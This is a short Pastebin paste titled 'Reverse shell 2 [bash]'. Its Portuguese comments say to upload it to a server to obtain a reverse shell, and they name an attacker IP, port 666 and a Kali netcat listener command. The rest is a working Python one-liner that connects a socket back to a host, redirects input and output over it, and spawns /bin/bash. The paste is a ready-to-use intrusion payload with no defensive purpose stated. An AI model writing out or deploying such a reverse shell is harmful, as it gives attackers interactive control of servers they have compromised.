DarkProgrammer000

Reverse shell 2 [bash]

Aug 3rd, 2021
833
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. """
  2. Programa: Shell reversa
  3. Obs(1): Upar no servidor para se obter uma shell reversa
  4.  
  5. Obs(2):
  6. # HACKER
  7. 1) IP: 192.168.0.107
  8. 2) Porta: 666
  9.  
  10. Obs(3)
  11. Kali: nc -lvp 666
  12. """
  13.  
  14. import os,pty,socket;client=socket.socket(socket.AF_INET,socket.SOCK_STREAM);client.connect(("127.0.0.1",666));[os.dup2(client.fileno(),fd) for fd in(0,1,2)]; pty.spawn('/bin/bash')
RAW Paste Data